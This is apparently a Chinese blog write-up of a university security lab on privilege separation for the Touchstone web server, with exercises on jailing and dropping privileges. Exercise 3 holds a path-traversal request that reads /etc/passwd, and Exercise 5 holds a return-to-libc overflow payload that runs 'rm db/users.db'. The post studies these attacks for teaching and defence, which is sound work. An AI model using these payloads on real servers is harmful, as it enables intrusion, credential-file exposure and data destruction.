Lab3 Privilege Separation

原创 2015年11月17日 22:24:04

Lab Overview

In this lab, you’ll explore privilege separation. The key insight of privilege separation is to give minimal privilege to each component of a system, so that when one component of the system is comprised, other components will not be comprised too.
To make the discussion concrete, you will do this lab for the Touchstone web server, that is, you will privilege-separate the Touchstone web server by giving each component appropriate privilege. To be specific, you will first examine possible bugs in the source code of the Touchstone web server, and comprise the Touchstone web server by designing and performing exploitations. Finally, you will break up the application into privilege-separated components to minimize the effects of possible vulnerabilities.

This lab consists of three parts:
Part A: you will examine the architecture of the Touchstone web server. The Touchstone web server in this lab differs dramatically from those from lab 1 and 2, the current one is based on the idea of services;
Part B: you will explore jail, by which you can constraint the service in some fake root directory;
Part C: you will privilege-separate the Touchstone web server by assigning each component appropriate privilege.

Exercise 1

如果运行touchstone出现如下情况

这里写图片描述

关闭apache即可:

$ sudo /etc/init.d/apache2 stop

这里写图片描述
这里写图片描述


Exercise 2

这里我们增加一个保存上次登录时间的功能。
修改init_db()函数,增加“date”字段:

这里写图片描述

在sqlhelper.c中增加函数get_date()用于获取上次登录时间:

这里写图片描述

增加函数update_data()用于更新数据库:

这里写图片描述

修改register_db()函数,使得注册的时候保存当前时间为注册时间:

这里写图片描述

在Handle_post()函数中应该修改调用为register_db(name, pwd, datetime),同时登录时应把注册时间显示在网页上。

这里写图片描述


Exercise 3

观察hadleGet()函数:

这里写图片描述

要访问/etc/passwd文件,只需让uri等于passwd的相对路径即可,因此只需把请求修改为

 char *req ="GET /../../../../../etc/passwd HTTP/1.1\r\n\r\n";

这里写图片描述


Exercise 4

在server.c的main()函数中调用chroot()函数即可:

 chroot("/jail");

这里写图片描述


Exercise 5

这里和Lab 2类似,不做过多阐述:

这里写图片描述

int main()
{
    ...
    char *shellcode = "rm db/users.db";
    char req[1080];
    int i = 0;
    memset(req,'a',strlen(req));
    for(;i < strlen(shellcode);i ++)
      req[i] = shellcode[i];
    req[i] = '\0';
    req[2] = 9;
    *((int *)&req[1064]) = 0xb7fcee10;    //system
    *((int *)&req[1072]) = 0xbfffeeb4;    //&s
    req[1076] = '\r';
    req[1077] = '\n';
    req[1078] = '\r';
    req[1079] = '\n';
    ...
}

Exercise 6

由于/jail目录所有者为root,因此只需在调用httpd前设置e_uid为普通用户(即非0)即可:

seteuid(1000);

Exercise 7

不能成功。攻击时服务器端会出现删除文件的提示,因为执行删除命令的httpd已经不再是以root身份运行。即使同意删除,也会因为权限而删除失败。

这里写图片描述


Challenge


Resource

版权声明:欢迎转载,尊重他人,转载请注明出处。

Privilege separation user sshd does not exist

按步骤在Cygwin安装好ssh,却一直启动不了ssh的服务。查看
  • huangjing_whlg
  • huangjing_whlg
  • 2014年09月12日 10:18
  • 2251

安装openssh--出现Privilege separation user sshd does not exist错误

虛擬機上安裝了一個Ubuntu 9.10,要使用Putty遠程連接,所以要安裝openssh-server。 當然如果能上網,直接使用如下命令安裝即可:sudo apt-get install op...
  • pointfish
  • pointfish
  • 2011年08月26日 15:03
  • 7690

cygwin 安装 ssh 服务报错 Privilege separation user sshd does not exist

如果大家安装SSH 服务报错,可直接查看日志文件  cat /var/log/sshd.log, 我的报错日志为“Privilege separation user sshd does no...
  • yangsen251024
  • yangsen251024
  • 2013年05月21日 16:06
  • 7149

那些坑了我N多时间的问题(持续更新)

2015-11-291.版本小于1.7的nginx不支持syslog功能。 2.nginx 1.8版本的conf文件有较大变动,site-enble及site-available目录都已被取消。固从...
  • apache0554
  • apache0554
  • 2015年11月30日 13:04
  • 11303

Lab 3: Privilege Separation

课程主页:http://staff.ustc.edu.cn/~bjhua/courses/security/2014/labs/lab3/index.html Lab Overview      一个...
  • zat111
  • zat111
  • 2014年11月27日 23:11
  • 621

ucore Lab3操作系统设计(理论部分)

一、实验流程、关键数据结构和相关函数 1、实验流程 kern init()----->pmm_init()------>pic_init()  idt_init() ------>vmm_ini...
  • cs_assult
  • cs_assult
  • 2015年06月18日 23:23
  • 1740

MIT 6.828 学习笔记5 Lab3实验报告

Lab3 实验报告 Exercise 1 Modify mem_init() in kern/pmap.c to allocate and map the envs array. // ...
  • scnu20142005027
  • scnu20142005027
  • 2016年05月24日 13:09
  • 5897

MIT6.828 Lab3: 第1部分 User Environments

User Environments
  • bysui
  • bysui
  • 2016年05月29日 20:44
  • 2230

Lab3

实验一链接 http://blog.csdn.net/scaubj/article/details/70156819   实验二链接 http://blog.csdn.net/scaubj/a...
  • scaubj
  • scaubj
  • 2017年04月21日 21:05
  • 136

操作系统实验报告 lab3

操作系统实验报告 lab3
  • qq_31481187
  • qq_31481187
  • 2017年04月24日 09:26
  • 5176
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Lab3 Privilege Separation
举报原因:
原因补充:

(最多只允许输入30个字)